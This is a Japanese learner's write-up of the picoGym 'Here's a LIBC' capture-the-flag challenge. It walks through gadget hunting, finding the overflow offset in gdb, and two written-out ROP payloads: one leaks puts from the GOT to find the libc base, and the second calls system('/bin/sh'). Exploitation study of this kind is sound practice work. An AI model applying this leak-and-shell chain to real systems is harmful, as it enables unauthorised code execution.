picoGym Practice Challenges Here's a LIBC を勉強した記録


picoGym Practice Challenges Here's a LIBC を題材に libcアドレスリークを勉強した記録。
Satoooon様,大変参考になりました。ありがとうございます。
libc leak

問題

入手できるデータは,
vuln
libc.so.6
Makefile

Makefile
all:
    gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c
clean:
    rm vuln

Satoooonの物置 で勉強

先生曰く「do_stuff関数にBOFがあるのでGOTからlibc leakしてret2vulnしてsystem("/bin/sh")して終わりです。」とのことだが,意味がさっぱりわからない。

先生のコードを追って勉強させていただく。

ROPの部品

pop_rdi = 0x0000000000400913
ret = 0x000000000040052e

pop rdi; ret ( 5f c3 ) を探す

$ objdump -d -M intel ./vuln | less
/ 5f
  400912:       41 5f                   pop    r15
  400914:       c3                      ret   

ret ( c3 ) を探す

$ objdump -d -M intel ./vuln | less
/ c3
  40052e:       c3                      ret  

bof

./vuln で実行すると

Segmentation fault となり,どこかにbofがある。
"A"の数はだいたい120 ~ 150

Ghidraでデコンパイルすると

WeLcOmE To mY EcHo sErVeR! の文字がmain関数内のstack stringsに見える。
43行目のputs(local_50);でWeLcOmE To mY EcHo sErVeR!を出力しているので,bofは,その下のdo_stuff関数にあることに間違いない。

main関数

main
gdb-peda$ pdisass 
Dump of assembler code for function main:
   0x0000000000400771 <+0>: push   rbp
   0x0000000000400772 <+1>: mov    rbp,rsp
=> 0x0000000000400775 <+4>: push   r15
   0x0000000000400777 <+6>: push   r14
   0x0000000000400779 <+8>: push   r13
   0x000000000040077b <+10>:    push   r12
   0x000000000040077d <+12>:    sub    rsp,0x60
   0x0000000000400781 <+16>:    mov    DWORD PTR [rbp-0x74],edi
   0x0000000000400784 <+19>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000400788 <+23>:    mov    rax,QWORD PTR [rip+0x2008c1]        # 0x601050 <stdout@@GLIBC_2.2.5>
   0x000000000040078f <+30>:    mov    esi,0x0
   0x0000000000400794 <+35>:    mov    rdi,rax
   0x0000000000400797 <+38>:    call   0x400560 <setbuf@plt>
   0x000000000040079c <+43>:    call   0x400570 <getegid@plt>
   0x00000000004007a1 <+48>:    mov    DWORD PTR [rbp-0x2c],eax
   0x00000000004007a4 <+51>:    mov    edx,DWORD PTR [rbp-0x2c]
   0x00000000004007a7 <+54>:    mov    ecx,DWORD PTR [rbp-0x2c]
   0x00000000004007aa <+57>:    mov    eax,DWORD PTR [rbp-0x2c]
   0x00000000004007ad <+60>:    mov    esi,ecx
   0x00000000004007af <+62>:    mov    edi,eax
   0x00000000004007b1 <+64>:    mov    eax,0x0
   0x00000000004007b6 <+69>:    call   0x400550 <setresgid@plt>
   0x00000000004007bb <+74>:    mov    QWORD PTR [rbp-0x38],0x1b
   0x00000000004007c3 <+82>:    movabs rax,0x20656d6f636c6557
   0x00000000004007cd <+92>:    movabs rdx,0x636520796d206f74
   0x00000000004007d7 <+102>:   mov    QWORD PTR [rbp-0x70],rax
   0x00000000004007db <+106>:   mov    QWORD PTR [rbp-0x68],rdx
   0x00000000004007df <+110>:   movabs rax,0x6576726573206f68
   0x00000000004007e9 <+120>:   mov    QWORD PTR [rbp-0x60],rax
   0x00000000004007ed <+124>:   mov    WORD PTR [rbp-0x58],0x2172
   0x00000000004007f3 <+130>:   mov    BYTE PTR [rbp-0x56],0x0
   0x00000000004007f7 <+134>:   mov    rax,QWORD PTR [rbp-0x38]
   0x00000000004007fb <+138>:   mov    rdx,rax
   0x00000000004007fe <+141>:   sub    rdx,0x1
   0x0000000000400802 <+145>:   mov    QWORD PTR [rbp-0x40],rdx
   0x0000000000400806 <+149>:   mov    r14,rax
   0x0000000000400809 <+152>:   mov    r15d,0x0
   0x000000000040080f <+158>:   mov    r12,rax
   0x0000000000400812 <+161>:   mov    r13d,0x0
   0x0000000000400818 <+167>:   mov    edx,0x10
   0x000000000040081d <+172>:   sub    rdx,0x1
   0x0000000000400821 <+176>:   add    rax,rdx
   0x0000000000400824 <+179>:   mov    ecx,0x10
   0x0000000000400829 <+184>:   mov    edx,0x0
   0x000000000040082e <+189>:   div    rcx
   0x0000000000400831 <+192>:   imul   rax,rax,0x10
   0x0000000000400835 <+196>:   sub    rsp,rax
   0x0000000000400838 <+199>:   mov    rax,rsp
   0x000000000040083b <+202>:   add    rax,0x0
   0x000000000040083f <+206>:   mov    QWORD PTR [rbp-0x48],rax
   0x0000000000400843 <+210>:   mov    QWORD PTR [rbp-0x28],0x0
   0x000000000040084b <+218>:   jmp    0x400880 <main+271>
   0x000000000040084d <+220>:   lea    rdx,[rbp-0x70]
   0x0000000000400851 <+224>:   mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400855 <+228>:   add    rax,rdx
   0x0000000000400858 <+231>:   movzx  eax,BYTE PTR [rax]
   0x000000000040085b <+234>:   movsx  eax,al
   0x000000000040085e <+237>:   mov    rdx,QWORD PTR [rbp-0x28]
   0x0000000000400862 <+241>:   mov    rsi,rdx
   0x0000000000400865 <+244>:   mov    edi,eax
   0x0000000000400867 <+246>:   call   0x400677 <convert_case>
   0x000000000040086c <+251>:   mov    ecx,eax
   0x000000000040086e <+253>:   mov    rdx,QWORD PTR [rbp-0x48]
   0x0000000000400872 <+257>:   mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400876 <+261>:   add    rax,rdx
   0x0000000000400879 <+264>:   mov    BYTE PTR [rax],cl
   0x000000000040087b <+266>:   add    QWORD PTR [rbp-0x28],0x1
   0x0000000000400880 <+271>:   mov    rax,QWORD PTR [rbp-0x28]
   0x0000000000400884 <+275>:   cmp    rax,QWORD PTR [rbp-0x38]
   0x0000000000400888 <+279>:   jb     0x40084d <main+220>
   0x000000000040088a <+281>:   mov    rax,QWORD PTR [rbp-0x48]
   0x000000000040088e <+285>:   mov    rdi,rax
   0x0000000000400891 <+288>:   call   0x400540 <puts@plt>
   0x0000000000400896 <+293>:   mov    eax,0x0
   0x000000000040089b <+298>:   call   0x4006d8 <do_stuff>
   0x00000000004008a0 <+303>:   jmp    0x400896 <main+293>
End of assembler dump.

do_stuff 関数の戻りアドレスは,0x4008a0

0x4008a0 を保持しているスタックのアドレスを確認する

gdb-peda$ b *0x000000000040089b
gdb-peda$ r
gdb-peda$ c
Breakpoint 2, 0x000000000040089b in main ()
gdb-peda$ si
[-------------------------------------code-------------------------------------]
   0x4006d2 <convert_case+91>:  movzx  eax,BYTE PTR [rbp-0x4]
   0x4006d6 <convert_case+95>:  pop    rbp
   0x4006d7 <convert_case+96>:  ret    
=> 0x4006d8 <do_stuff>: push   rbp
   0x4006d9 <do_stuff+1>:   mov    rbp,rsp
   0x4006dc <do_stuff+4>:   sub    rsp,0x90
   0x4006e3 <do_stuff+11>:  mov    QWORD PTR [rbp-0x10],0x0
   0x4006eb <do_stuff+19>:  lea    rax,[rbp-0x80]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3c8 --> 0x4008a0 (<main+303>:  jmp    0x400896 <main+293>)
0008| 0x7fffffffe3d0 ("WeLcOmE To mY EcHo sErVeR!")
0016| 0x7fffffffe3d8 ("To mY EcHo sErVeR!")
0024| 0x7fffffffe3e0 ("Ho sErVeR!")
0032| 0x7fffffffe3e8 --> 0x2152 ('R!')
0040| 0x7fffffffe3f0 --> 0x7fffffffe558 --> 0x7fffffffe796 ("/home/sita/share/vuln")
0048| 0x7fffffffe3f8 --> 0x100000000 
0056| 0x7fffffffe400 ("Welcome to my echo server!")
[------------------------------------------------------------------------------]

0x4008a0 を保持しているスタックのアドレスは, 0x7fffffffe3c8 だ。

ブレークポイントをdo_stuff関数の戻りアドレス0x4008a0にしかけて,runする。
WeLcOmE To mY EcHo sErVeR!にAAAを入力
AaAに変換されている

gdb-peda$ b *0x00000000004008a0
Breakpoint 1 at 0x4008a0
gdb-peda$ r

WeLcOmE To mY EcHo sErVeR!
AAA
AaA

do_stuff関数の戻りアドレス 0x4008a0 が積まれているスタック 0x7fffffffe3c8
の上に積まれた "AAA" = 0x414141 をさがす -> ない
の上に積まれた "AaA" = 0x416141 をさがす -> あった

gdb-peda$ x/50xg 0x7fffffffe3c8 - 0x100
0x7fffffffe2c8: 0x000000000000001b  0x0000000000000000
0x7fffffffe2d8: 0x00007ffff7a6f473  0x0000000000000003
0x7fffffffe2e8: 0x00007ffff7dce760  0x00007fffffffe340
0x7fffffffe2f8: 0x00007ffff7a62bd2  0x0000000000000000
0x7fffffffe308: 0x0000000000000000  0x00007fffffffe3c0
0x7fffffffe318: 0x000000000000001b  0x0000000000000000
0x7fffffffe328: 0x000000000040076e  0x00007ffff7dce7e3
0x7fffffffe338: 0x0a007ffff7a6efc1  0x00007fff00416141  <--- ここ
0x7fffffffe348: 0x00007ffff7dce760  0x000000000000000a
0x7fffffffe358: 0x00007fffffffe3d0  0x00007ffff7dca2a0
0x7fffffffe368: 0x000000000000001b  0x0000000000000000
0x7fffffffe378: 0x00007ffff7a6f453  0x000000000000001a
0x7fffffffe388: 0x00007ffff7dce760  0x00007fffffffe3d0
0x7fffffffe398: 0x00007ffff7a62bd2  0x0000000000000000
0x7fffffffe3a8: 0x0000000000000000  0x0000000000000000
0x7fffffffe3b8: 0x0000000000000064  0x00007fffffffe470
0x7fffffffe3c8: 0x00000000004008a0  0x20456d4f634c6557
0x7fffffffe3d8: 0x634520596d206f54  0x6556724573206f48
0x7fffffffe3e8: 0x0000000000002152  0x00007fffffffe558
0x7fffffffe3f8: 0x0000000100000000  0x20656d6f636c6557
0x7fffffffe408: 0x636520796d206f74  0x6576726573206f68
0x7fffffffe418: 0x00007ffff7002172  0x00007fffffffe488
0x7fffffffe428: 0x00007fffffffe3d0  0x000000000000001a
0x7fffffffe438: 0x000000000000001b  0x00000000f7de3b40
0x7fffffffe448: 0x000000000000001b  0x0000000000400590


"A"の数(オフセット)は 8*17 = 136 と判明

ret2plt で libcアドレスリーク

libcアドレスリークの部分のペイロードをlog.infoした

payload1 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\t@\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00@\x05@\x00\x00\x00\x00\x00\xd8\x06@\x00\x00\x00\x00\x00'

"A"を除いた部分(スタックの上から)

\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret

\x18\x10`\x00\x00\x00\x00\x00
0x601018

$ objdump -d -M intel ./vuln | less
/ puts
0000000000400540 <puts@plt>:
  400540:       ff 25 d2 0a 20 00       jmp    QWORD PTR [rip+0x200ad2]        # 601018 <puts@GLIBC_2.2.5>
  400546:       68 00 00 00 00          push   0x0
  40054b:       e9 e0 ff ff ff          jmp    400530 <.plt>

putsのGOTアドレスだ

@\x05@\x00\x00\x00\x00\x00
0x400540
puts@plt

\xd8\x06@\x00\x00\x00\x00\x00
0x4006d8

$ objdump -d -M intel ./vuln | less
/ 4006d8

00000000004006d8 <do_stuff>:
  4006d8:       55                      push   rbp

do_stuff の開始アドレスだ

bof1回目(libcリーク)のペイロード

+--------------------+
| pop rdi; ret       |
+--------------------+
| putsのGOT          |
+--------------------+
| puts@plt           |
+--------------------+
| do_stuff           |
+--------------------+

rdiレジスタに puts 引数として putsのGOT をセットし,puts を実行して puts の libcアドレスを標準出力に出力させる。
そして,2回目のbofのために,do_stuff を puts内のret からキックする。
(すごいわ)

リークした結果

log.infoしてみた

[*] libc_leak = 0x7ffa39735a30
[*] ??? = 0x80a30
[*] libc.address = 0x7ffa396b5000

libc_leak - ??? = libc.address で計算はあう。
???は何?

$ objdump -d -M intel ./libc.so.6 | less
/ IO_puts

0000000000080a30 <_IO_puts@@GLIBC_2.2.5>:
   80a30:       41 55                   push   r13
   80a32:       41 54                   push   r12

あった。問題で入手していた libc.so.6 の中の puts のアドレスだ。
ASLR (Address Space Layout Randomization)によって毎回変わるlibcのベースアドレスを

リークしたputsのアドレス - 静的なputsのアドレス

で求めたということか。

GOT と libc の関係図で私が何回も見ている資料

libcのベースアドレスはわかった。
次は何をするのか?

bof2回目

[*] payload2 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.\x05@\x00\x00\x00\x00\x00\x13\t@\x00\x00\x00\x00\x00\xfa\x90\x869\xfa\x7f\x00\x00\xe0Dp9\xfa\x7f\x00\x00'

"A"を除いた部分(スタックの上から)

.\x05@\x00\x00\x00\x00\x00
0x40052e
ret
なんでいきなり ret なのか?

\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret

\xfa\x90\x869\xfa\x7f\x00\x00
0x7ffa398690fa
ベースとの差は,0x7ffa398690fa - 0x7ffa396b5000 = 0x1b40fa

バイナリエディタで libc.so.6 内の /bin/sh を検索すると

ビンゴじゃん。

\xe0Dp9\xfa\x7f\x00\x00
0x7ffa397044e0
ベースとの差は,0x7ffa397044e0 - 0x7ffa396b5000 = 0x4f4e0

$ objdump -d -M intel ./libc.so.6 | less
/ system

000000000004f4e0 <__libc_system@@GLIBC_PRIVATE>:
   4f4e0:       48 85 ff                test   rdi,rdi
   4f4e3:       74 0b                   je     4f4f0 <__libc_system@@GLIBC_PRIVATE+0x10>
   4f4e5:       e9 66 fa ff ff          jmp    4ef50 <__strtold_nan@@GLIBC_PRIVATE+0xd0>
   4f4ea:       66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
   4f4f0:       48 8d 3d 0b 4c 16 00    lea    rdi,[rip+0x164c0b]        # 1b4102 <_libc_intl_domainname@@GLIBC_2.2.5+0x18e>

こちらもビンゴ

bof2回目(shellを奪う)のペイロード

+--------------------+
| ret                |
+--------------------+
| pop rdi; ret       |
+--------------------+
| ”/bin/sh”          |
+--------------------+
| system()           |
+--------------------+

頭の ret が意味不明だが,ほぼ解明完了。
頭の ret をとると動かない。
頭の ret は アライメントみたいだ。